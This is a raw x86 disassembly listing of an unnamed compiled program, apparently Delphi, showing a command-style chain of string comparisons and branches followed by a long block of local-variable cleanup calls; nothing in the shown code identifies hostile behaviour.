mov eax, dword [ebp - 0x23b8]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5aa0ac
push 0
lea eax, [ebp - 0x23c4]
push eax
lea eax, [ebp - 0x23c8]
push eax
lea ecx, [ebp - 0x23cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23cc]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x23c8]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x23c4]
lea edx, [ebp - 0x23c0]
call fcn.00593948
mov edx, dword [ebp - 0x23c0]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x23d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23d0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3c0], 0
je 0x5acec8
mov eax, dword [ebp - 0x3c0]
call fcn.005af628
test al, al
jne 0x5aa136
lea edx, [ebp - 0x23d4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab58
mov eax, dword [ebp - 0x23d4]
push eax
lea eax, [ebp - 0x23d8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x23d8]
xor edx, edx
pop eax
call fcn.0058ffac
cmp dword [ebp - 0x3d0], 0
jne 0x5aa185
call fcn.0058f81c
push edx
push eax
lea eax, [ebp - 0x23dc]
call fcn.0040b284
mov eax, dword [ebp - 0x23dc]
push eax
lea eax, [ebp - 0x23e0]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x23e0]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x3d0]
call fcn.0058f958
push edx
push eax
lea eax, [ebp - 0x23e4]
call fcn.0040b284
mov eax, dword [ebp - 0x23e4]
push eax
lea eax, [ebp - 0x23e8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x23e8]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5af18c
call fcn.00405e6c
jne 0x5aa377
lea eax, [ebp - 0x23ec]
push eax
lea ecx, [ebp - 0x23f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23f0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x23ec]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5aa2a3
push 0
lea eax, [ebp - 0x23f8]
push eax
lea eax, [ebp - 0x23fc]
push eax
lea ecx, [ebp - 0x2400]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2400]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x23fc]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x23f8]
lea edx, [ebp - 0x23f4]
call fcn.00593948
mov edx, dword [ebp - 0x23f4]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2404]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2404]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3c0], 0
je 0x5acec8
mov eax, dword [ebp - 0x3c0]
call fcn.005af628
test al, al
jne 0x5aa32d
lea edx, [ebp - 0x2408]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab58
mov eax, dword [ebp - 0x2408]
push eax
lea eax, [ebp - 0x240c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x240c]
xor edx, edx
pop eax
call fcn.0058ffac
mov eax, dword [ebp - 0x3d0]
call fcn.005934d8
lea edx, [ebp - 0x2410]
call fcn.00593610
mov eax, dword [ebp - 0x2410]
push eax
lea eax, [ebp - 0x2414]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2414]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5af1a8
call fcn.00405e6c
jne 0x5aa476
lea edx, [ebp - 0x2418]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x2418]
mov eax, dword [0x5d508c]
call fcn.00405a98
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x241c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x241c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3c0], 0
je 0x5acec8
mov eax, dword [ebp - 0x3c0]
call fcn.005af628
test al, al
jne 0x5aa437
lea edx, [ebp - 0x2420]
mov eax, dword [ebp - 0x3c0]
call fcn.0040ab58
mov eax, dword [ebp - 0x2420]
push eax
lea eax, [ebp - 0x2424]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2424]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x2428]
call fcn.0057cefc
mov eax, dword [ebp - 0x2428]
push eax
lea eax, [ebp - 0x242c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x242c]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5af1c4
call fcn.00405e6c
jne 0x5aa597
lea eax, [ebp - 0x2430]
push eax
lea ecx, [ebp - 0x2434]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2434]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2430]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5aa548
push 0
lea eax, [ebp - 0x243c]
push eax
lea eax, [ebp - 0x2440]
push eax
lea ecx, [ebp - 0x2444]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2444]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x2440]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x243c]
lea edx, [ebp - 0x2438]
call fcn.00593948
mov edx, dword [ebp - 0x2438]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
lea eax, [ebp - 0x2448]
push eax
lea ecx, [ebp - 0x244c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x244c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2448]
call fcn.00593654
mov edx, eax
mov eax, dword [ebp - 0x3d0]
call fcn.00593434
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5af1e0
call fcn.00405e6c
jne 0x5aa7e0
lea eax, [ebp - 0x2450]
push eax
lea ecx, [ebp - 0x2454]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2454]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2450]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5aa669
push 0
lea eax, [ebp - 0x245c]
push eax
lea eax, [ebp - 0x2460]
push eax
lea ecx, [ebp - 0x2464]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2464]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x2460]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x245c]
lea edx, [ebp - 0x2458]
call fcn.00593948
mov edx, dword [ebp - 0x2458]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
lea eax, [ebp - 0x246c]
push eax
lea ecx, [ebp - 0x2470]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2470]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x246c]
lea edx, [ebp - 0x2468]
call fcn.00593948
mov eax, dword [ebp - 0x2468]
lea edx, [ebp - 0x548]
call fcn.0040b38c
test al, al
je 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5af1fc
call fcn.00405e6c
jne 0x5aa9a5
lea eax, [ebp - 0x2488]
push eax
lea ecx, [ebp - 0x248c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x248c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2488]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5aa8b2
mov eax, dword [ebp - 0x438]
mov edx, 0x5af21c
call fcn.00405e6c
jne 0x5aab6a
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x534]
jg 0x596e6e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acf93
mov eax, 0x5af44c
call fcn.005c0f9c
mov eax, 0x5af460
call fcn.005c0f9c
push ebp
mov al, 1
call fcn.00594040
pop ecx
mov eax, 0x5af47c
call fcn.005c0f9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ad573
lea eax, [ebp - 0x2790]
mov edx, 0x63
call fcn.00405a68
lea eax, [ebp - 0x25f4]
call fcn.00405a44
lea eax, [ebp - 0x2604]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0x25f0]
mov edx, 0x60
call fcn.00405a68
lea eax, [ebp - 0x2470]
mov edx, 0x64
call fcn.00405a68
lea eax, [ebp - 0x22e0]
mov edx, 0x64
call fcn.00405a68
lea eax, [ebp - 0x2150]
mov edx, 0x60
call fcn.00405a68
lea eax, [ebp - 0x1fc8]
call fcn.00405a44
lea eax, [ebp - 0x1f50]
call fcn.00405a44
lea eax, [ebp - 0x1f44]
call fcn.00405a44
lea eax, [ebp - 0x1f38]
call fcn.00405a44
lea eax, [ebp - 0x1fd0]
mov edx, 2
call fcn.00405a68
lea eax, [ebp - 0x1fc4]
mov edx, 0x1d
call fcn.00405a68
lea eax, [ebp - 0x1f4c]
mov edx, 2
call fcn.00405a68
lea eax, [ebp - 0x1f40]
mov edx, 2
call fcn.00405a68
lea eax, [ebp - 0x1f34]
mov edx, 0x41
call fcn.00405a68
lea eax, [ebp - 0x1e30]
mov edx, 0x64
call fcn.00405a68
lea eax, [ebp - 0x1ca0]
mov edx, 0x63
call fcn.00405a68
lea eax, [ebp - 0x1b10]
call fcn.00405a44
lea eax, [ebp - 0x1b14]
call fcn.00405a44
lea eax, [ebp - 0x1b0c]
mov edx, 0x63
call fcn.00405a68
lea eax, [ebp - 0x1980]
mov edx, 0x64
call fcn.00405a68
lea eax, [ebp - 0x17f0]
mov edx, 0x62
call fcn.00405a68
lea eax, [ebp - 0x1664]
mov edx, 2
call fcn.00405a68
lea eax, [ebp - 0x1668]
call fcn.00405a44
lea eax, [ebp - 0x165c]
mov edx, 0x63
call fcn.00405a68
lea eax, [ebp - 0x14d0]
mov edx, 0x64
call fcn.00405a68
lea eax, [ebp - 0x1340]
mov edx, 0x3a
call fcn.00405a68
lea eax, [ebp - 0x1258]
call fcn.0040624c
lea eax, [ebp - 0x1254]
mov edx, 3
call fcn.00405a68
lea eax, [ebp - 0x1248]
call fcn.0040624c
lea eax, [ebp - 0x1244]
mov edx, 3
call fcn.00405a68
lea eax, [ebp - 0x1238]
call fcn.0040624c
lea eax, [ebp - 0x1234]
call fcn.00405a44
lea eax, [ebp - 0x1230]
mov edx, 3
call fcn.00406264
lea eax, [ebp - 0x1224]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0x1214]
call fcn.0040624c
lea eax, [ebp - 0x1210]
mov edx, 7
call fcn.00405a68
lea eax, [ebp - 0x11f4]
mov edx, 3
call fcn.00406264
lea eax, [ebp - 0x11e8]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0x11d8]
call fcn.0040624c
lea eax, [ebp - 0x11d4]
mov edx, 6
call fcn.00405a68
lea eax, [ebp - 0x11b8]
mov edx, 3
call fcn.00405a68
lea eax, [ebp - 0x11bc]
call fcn.00405a44
lea eax, [ebp - 0x11ac]
mov edx, 0x62
call fcn.00405a68
lea eax, [ebp - 0x1020]
call fcn.00405a44
lea eax, [ebp - 0x1024]
call fcn.00405a44
lea eax, [ebp - 0x101c]
mov edx, 0x63
call fcn.00405a68
lea eax, [ebp - 0xe90]
mov edx, 0x41
call fcn.00405a68
lea eax, [ebp - 0xd8c]
call fcn.00407c68
lea eax, [ebp - 0xd88]
mov edx, 6
call fcn.00405a68
lea eax, [ebp - 0xd70]
mov edx, dword [0x5814b0]
mov ecx, 4
call fcn.0040685c
lea eax, [ebp - 0xd60]
mov edx, 3
call fcn.00405a68
lea eax, [ebp - 0xd54]
mov edx, dword [0x5814b0]
mov ecx, 8
call fcn.0040685c
lea eax, [ebp - 0xd34]
mov edx, 3
call fcn.00405a68
lea eax, [ebp - 0xd28]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xd1c]
mov edx, 6
call fcn.00405a68
lea eax, [ebp - 0xd04]
call fcn.00407c68
lea eax, [ebp - 0xd00]
mov edx, dword [0x5814b0]
mov ecx, 2
call fcn.0040685c
lea eax, [ebp - 0xcf8]
mov edx, 0xa
call fcn.00405a68
lea eax, [ebp - 0xcd0]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xcc4]
mov edx, 6
call fcn.00405a68
lea eax, [ebp - 0xcac]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xca0]
mov edx, 9
call fcn.00405a68
lea eax, [ebp - 0xc7c]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xc70]
mov edx, 6
call fcn.00405a68
lea eax, [ebp - 0xc58]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xc4c]
mov edx, 9
call fcn.00405a68
lea eax, [ebp - 0xc28]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xc1c]
mov edx, 6
call fcn.00405a68
lea eax, [ebp - 0xc04]
mov edx, dword [0x5814b0]
mov ecx, 3
call fcn.0040685c
lea eax, [ebp - 0xbf8]
mov edx, 0xd
call fcn.00405a68
lea eax, [ebp - 0xbc4]
call fcn.0040624c
lea eax, [ebp - 0xbc0]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0xbb0]
call fcn.0040624c
lea eax, [ebp - 0xbac]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0xb9c]
call fcn.0040624c
lea eax, [ebp - 0xb98]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0xb88]
call fcn.0040624c
lea eax, [ebp - 0xb84]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0xb74]
call fcn.0040624c
lea eax, [ebp - 0xb70]
mov edx, 0x13
call fcn.00405a68
lea eax, [ebp - 0xb24]
call fcn.00407c68
lea eax, [ebp - 0xb20]
mov edx, 0x50
call fcn.00405a68
lea eax, [ebp - 0x9e0]
mov edx, 0x62
call fcn.00405a68
lea eax, [ebp - 0x854]
mov edx, 2
call fcn.00405a68
lea eax, [ebp - 0x858]
call fcn.00405a44
lea eax, [ebp - 0x84c]
mov edx, 0xd
call fcn.00405a68
lea eax, [ebp - 0x51c]
mov edx, dword [0x40a540]
call fcn.00406810
lea eax, [ebp - 0x45c]
mov edx, 4
call fcn.00405a68
lea eax, [ebp - 0x44c]
mov edx, 3
call fcn.00406264
lea eax, [ebp - 0x440]
call fcn.00407c68
lea eax, [ebp - 0x43c]
call fcn.00407c68
lea eax, [ebp - 0x438]
mov edx, 0x24
call fcn.00405a68
lea eax, [ebp - 8]
call fcn.00405a44
lea eax, [ebp + 8]
call fcn.00405a44
ret